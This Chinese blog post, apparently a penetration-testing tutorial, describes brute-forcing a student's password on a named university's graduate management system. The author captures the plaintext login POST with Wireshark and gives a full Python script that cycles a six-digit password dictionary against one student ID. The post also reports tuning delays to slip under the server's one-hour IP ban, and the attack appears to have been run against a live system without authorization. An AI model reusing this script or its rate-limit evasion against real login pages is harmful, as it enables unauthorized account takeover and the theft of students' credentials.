1. 程式人生 > >網路攻防研究第001篇:嘗試暴力破解某高校研究生管理系統學生密碼

網路攻防研究第001篇:嘗試暴力破解某高校研究生管理系統學生密碼

前言

       如果你是在校大學生,而且還對網路攻防比較感興趣的話,相信你最開始嘗試滲透的莫過於所在院校的學生管理系統。因為一般來說這樣的系統往往比較薄弱,拿來練手那是再合適不過的了。作為本系列的第一篇文章,我將會利用暴力破解的方式,嘗試對某高校的研究生管理系統的學生密碼進行破解。由於這個管理系統的網站屬於該高校的內網資源,外網是無法訪問的,因此大家就不要嘗試按照文中的內容來對文中出現的網址進行訪問了。利用本文所論述的暴力破解思想,可以幫助大家更好地認識我們的網路,也有助於瞭解目標網站是否安全。那麼在這裡需要再三強調的是,文中所提內容僅作技術交流之用,請不要拿它來做壞事。

登入的基本原理

       相信不管是哪個院校的管理系統,都必然會有一個登陸介面,用於輸入學號以及密碼。只有在二者全都正確的前提下,才能夠成功地登入,否則就登入失敗。本文所研究的學生管理系統也不例外,其介面如下所示:


       不知道大家有沒有想過,當我們將使用者ID和密碼填寫進相應的位置,然後登入這個學生管理系統時,系統做了什麼呢?儘管我並沒有深入研究過目標系統的實現機制,但是一般來說,介面會將使用者ID和密碼這兩個資訊傳送到伺服器,然後伺服器就可以在資料庫中匹配二者是否存在以及二者是否為對應的關係。如果使用者ID和密碼有效,伺服器就會發回一個用於表示驗證成功的資料包,從而允許使用者進入管理系統;如果匹配失敗,伺服器也會發送用於表示登入失敗的資料包,拒絕使用者的登入請求,並給出相應的提示。

       可見,這個原理還是非常簡單的。那麼我們需要做的就是弄清楚在登陸的時候,系統究竟是傳送了什麼樣的資料包到伺服器,並且還需要知道伺服器對於登入成功和失敗這兩種情況,分別會回覆怎樣的資料包。那麼只要能夠確定這一來一回的資料內容,我們就有可能利用暴力破解的方式解析出某個使用者名稱所對應的密碼了。

登入資料包的分析

       為了獲取系統所收發的資料包,那麼就必然需要使用網路分析工具。這裡我所使用的是 Wireshark這款工具,它是目前最為流行的網路資料包分析軟體。首先來到研究生登入介面,輸入使用者ID以及密碼,先不進行登入,開啟Wireshark的監控功能,最後再單擊“登入”按鈕。可以發現,此時Wireshark會捕獲到非常多的資料包,但是其實其中的絕大部分是與我們的登入無關的,因此這裡需要利用篩選器來篩選出我們需要的資料包。比如可以在篩選條件中輸入:ip.addr==172.21.96.120,這樣就只會剩下與IP地址為172.21.96.120相關的資料包了,從而便於我們接下來的分析。這個IP地址其實就是我們所研究的目標系統的IP地址。或者也可以在純淨的虛擬機器中進行登入,然後在宿主計算機中開啟Wireshark對虛擬機器進行監控,那麼這樣所捕獲到的資料包基本上都是與登入相關的了,無需再次進行篩選。下圖就是我利用虛擬機器登入所捕獲到的資料包:


       這裡我們主要留意紅框中的內容,首先第一個紅框中的三個資料包,表示TCP連線時的三次握手的過程,通過這個就可以確認,連線已經建立,就可以與目標主機進行下一步的操作了。而第二個紅框中的內容則是一個POST請求,是由我方發出的,並需要由遠端的伺服器進行處理。其實也就是當點選了“登入”按鈕後,傳送到伺服器的一個最為重要的資料包,是我們關注的重點。接下來我們來詳細分析一下這個資料包的內容,在這個資料包上單擊滑鼠右鍵,選擇“追蹤流”->”TCP流”,那麼就可以開啟“追蹤TCP流”對話方塊:


       這裡需要說明的是,紅色字型部分是我方發往伺服器端的資料包的內容,也就是一個POST請求,而藍色字型部分是伺服器的回覆。檢視一下紅色字型部分,可以看到最後一行以明文的形式出現了登入的使用者名稱(USER)以及密碼(PASSWORD),那麼很明顯,這裡是該管理系統的一個安全隱患。

       由於這次的登入,我們的使用者ID以及密碼是正確的,於是就回覆了上述內容,那麼如果輸入錯誤,會返回什麼樣的資料包呢,這裡不妨抓包分析一下:


       首先,二者的紅色字型部分是完全一致的,但是藍色字型部分則出現了顯著的差別。對比就可以知道,如果登入成功,那麼返回的資料包中會包含有Location,也就是重定向欄位,說明使用者ID以及密碼驗證成功,允許使用者訪問Location後面的網址,而該網址正是管理系統的真身。因此,我們在接下來的程式設計中,只要判定返回的資料包中是否包含有Location這個字串,那麼就可以知道登入是否成功了。

       那麼在登入失敗的時候,返回的資料包(上圖中的藍色字型內容)表示的是什麼呢?不妨看一下在登入失敗的時候,瀏覽器中顯示的網頁的情況:


       可以看到,這裡顯示的依舊是登陸介面,不同的是在介面的下方顯示出登入失敗的提示。如果說檢視這個網頁的程式碼,就會發現網頁的程式碼與在Wireshark中通過抓包返回的內容是一致的。

       可以總結一下,為了實現暴力破解,我們可以嘗試不斷地向伺服器傳送紅色字型的POST資料包,其中USER的內容就是想要破解的學號資訊,而PASSWORD的內容則是密碼。如果說大家想批量學號進行破解,那麼可以將想要破解的學號儲存在一個檔案裡面。但是這裡我為了簡單起見,只嘗試破解一個學號,因此這個學號的內容就直接填寫到想要傳送的資料包裡面。而PASSWORD部分則需要利用密碼字典,將密碼儲存在檔案中,然後程式需要不斷地按序提取密碼,填寫到資料包裡面傳送。如果收到的回覆裡面並不包含有Location,則繼續傳送資料包,直至找到密碼為止,最後再將密碼顯示出來。那麼之後的程式設計,就會依據這個思想進行。

程式的編寫

       為了簡單起見,這裡我使用Python來編寫程式,完整的程式如下:
# -*- coding: utf-8 -*-
import socket
import time

# 待發送的資料包,注意這裡的PASSWORD為空
strPost = "POST /bgdadmin/servlet/studentLogin HTTP/1.1\r\n" \
          "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" \
          "Referer: http://yjsgl.bjut.edu.cn/bgdadmin/servlet/studentMain\r\n" \
          "Accept-Language: zh-cn\r\n" \
          "Content-Type: application/x-www-form-urlencoded\r\n" \
          "Accept-Encoding: gzip, deflate\r\n" \
          "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n" \
          "Host: yjsgl.bjut.edu.cn\r\n" \
          "Content-Length: 47\r\n" \
          "Connection: Keep-Alive\r\n" \
          "Cache-Control: no-cache\r\n" \
          "Cookie: JSESSIONID=DgxvXnRhLdSn65nfkyXv4wGXr8xQWb4Vmhkq7GfdhRz3LpdwJ4WC!-611812863\r\n\r\n" \
          "TYPE=AUTH&glnj=&USER=xxxxxxxxxx&PASSWORD="		  

i = 0
# 目標伺服器的IP地址以及想要連線的埠
target_host = '172.21.96.120'
target_port = 80
# 開啟字典檔案並逐行讀取		  
for password in open('C:\\superdic.txt'):
    # 如果已經驗證了100個密碼,則休息30秒,並將計數器清零
    i = i + 1
    if i > 100:
        time.sleep(30)
        i = 0
	# 建立一個socket物件
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 連線客戶端
    client.connect((target_host, target_port))
    # 組成最終的資料包
    strPacket = strPost + password		  
	# 傳送資料包
    client.send(strPacket)
    # 接收返回的資料包
    response = client.recv(1024)
    # 每驗證完一條密碼就休息0.3秒
    time.sleep(0.3)
	# 查詢返回的資料包中是否包含有Location欄位
    if response.find('Location') != -1:
        # 如果包含有Location欄位,則把密碼打印出來
        print password
        # 找到正確的密碼就跳出迴圈
        break

       由於Python寫的程式本身就很通俗易懂,因此這裡並不需要對程式作過多的解釋。但是有幾個問題需要說明一下:

       1、如果說想要在程式中使用中文的註釋,那麼就必須要加入# -*- coding: utf-8 -*-,也就是上述程式中的第一行內容。

       2、待發送的資料包其實就是直接在Wireshark的“追蹤TCP流”對話方塊中直接拷貝過來的(紅色字型部分)。這裡需要強調的是,每一行的末尾都有一對甚至兩對“\r\n”。這是因為標準的HTTP資料包中,就是以“\r\n”作為一行的結尾的。在Wireshark中的資料視窗可以很明顯地看到(“\r\n”的ASCII碼是0x0d和0x0a):


       因此大家在實際的分析過程中,一定要看清楚每一行的末尾究竟有多少個“\r\n”。這些細節如果不重視的話,很可能就得不到想要返回的資料包了。

       3、程式中有一個for迴圈,這個迴圈只有在找到正確的密碼,或者驗證完密碼字典中的所有密碼,依舊沒找到正確密碼的情況下,才會退出。每次執行這個for迴圈,都會重新建立TCP連線,然後再發送測試的資料包。這裡需要注意的是,不能只建立一次TCP連線,然後不斷地向目標伺服器傳送測試資料包。因為這樣的話,從第二個測試資料包開始,伺服器所返回的資料包就是未知的了。我們最開始通過Wireshark抓包測試時的流程就是先建立TCP連線,然後再發送一個測試資料包,而不是在建立連線後,不斷地傳送資料包。所以在程式的編寫時,一定要注意究竟應該把TCP連線的建立程式碼放在什麼位置,以避免出錯。

       4、程式中的使用者名稱(USER)已經被我隱去,使用了十個x取代。而密碼(PASSWORD)是六位的數字。那麼為了生成密碼字典,我這裡使用的是superdic這款軟體,它可以幫助我們很輕鬆地生成各種各樣的密碼字典。通過設定基本字元(0~9)以及密碼位數(6位),就可以得到一個包含有密碼的txt檔案,在這個檔案中,一行儲存有一個密碼。那麼在我的測試中,我將這個密碼字典放在了C盤的根目錄中。程式在執行的時候,就會開啟這個密碼檔案,逐行讀取密碼,組成資料包不斷地傳送進行測試。

程式的測試

       暴力破解其實是一種最簡單的測試方式,以瞭解目標網站是否安全。那麼對於這次所研究的管理系統而言,其實還是採取了一些措施來對抗暴力破解的。為什麼這麼說呢?其實上述程式是在我經過多次的嘗試之後才最終確定的。我在解釋上述程式時,並沒有講解為什麼要呼叫兩次sleep語句,因為這與目標網站的自我保護機制相關。

       其實最開始我是沒有加入sleep語句的,那麼在程式執行後,在不斷地發包進行暴力破解的時候,我發現過不了多久,程式就會提示出錯,意思是在建立連線的時候出現了問題:

       這個時候如果利用Wireshark進行抓包,就會得到以下內容:


       這些資料包是以黑色作為底色顯示的,說明它們是不正常的資料包。可以看到,前六個資料包不斷地嘗試利用本機的7527到7532號埠來與目標主機建立TCP的SYN連線,也就是TCP連線的第一次握手。但是本機遲遲沒有收到由目標計算機發回來的確認資料包,於是接下來的12個數據包其實就是針對於前六個資料包的重傳(TCP Retransmission),每個資料包都會重傳兩次,最終依舊沒有收到回覆,才會放棄連線。那麼其實這也就解釋了為什麼Python程式會返回連線不成功的錯誤,遠端伺服器遲遲不予回覆,那麼自然後面的測試資料包也就不會發送了。說明這是遠端伺服器採取的一種自我保護的措施,一旦發現有人嘗試利用暴力破解,那麼在接收一定數量的資料包之後,就會拒絕對攻擊者進行回覆了。我認為伺服器應該是將攻擊者的IP地址加入了黑名單。經過實際測試可以知道,IP地址會被封鎖1個小時。

       那麼接下來就需要弄清楚究竟在一定的時間內,傳送多少個數據包才是安全的,或者資料包與資料包之間的安全時間間隔是多少。關於這個問題,大家可以根據自己的實際情況,抓包分析,看看究竟是在經過了多少個數據包之後,遠端伺服器才會拒絕請求。那麼針對於我當前所研究的網站而言,通過不斷的測試,我這裡將資料包與資料包之間的傳送間隔設定為0.3秒(程式的第二個sleep語句),並且每傳送100個數據包,則休息30秒(程式的第一個sleep語句),在這種情況下,進行大量的測試資料包的傳送,就不會出現封鎖IP的情況了。

       最後不妨計算一下,在最壞的情況下,破解一個使用者的密碼需要多長時間。首先,六位純數字的密碼,一共會有1000000種組合的可能性。由於每傳送100個數據包就需要休息30秒,那麼一共就需要休息30*(1000000/100)也就是300000秒。從傳送第一個連線資料包到收到驗證成功或者失敗的回覆,由於受限於網路的情況,因此並不固定,這裡不妨假設是0.1秒,而資料包與資料包之間的間隔是0.3秒,也就是說每個資料包還需要0.3+0.1也就是0.4秒的時間,0.4*1000000則是400000秒,這樣就可以知道,為了破解一個使用者的密碼,需要700000秒,也就大概是8.1天。那麼也就說明了,該研究生管理系統在應對暴力破解方面,其實還是採取了比較好的策略的。

總結

       通過暴力破解的測試,我們可以瞭解到目標網站的安全機制究竟怎樣。儘管很多時候,暴力破解是沒有辦法的辦法,有時也是比較常用的方法。如何應對暴力破解,究竟應當採取怎樣的規則策略,也是見仁見智。可以看到,在密碼只有6位純數字的情況下,最壞情況還需要8.1天才能夠成功實現破解,這也就說明了,如果採取數字與字母組合,加大密碼位數,對於安全的重要性是不言而喻的。當然了,畢竟暴力破解是一種比較低端的做法,未來我還會討論更多的方式實現網路的滲透與破解。畢竟網路安全知識是一把雙刃劍,安全人員也是必須要掌握黑客可能會使用的技術,從而針對這些技術實施安全防禦的。

     《從蘇寧電器到卡巴斯基》終稿完整版,請訪問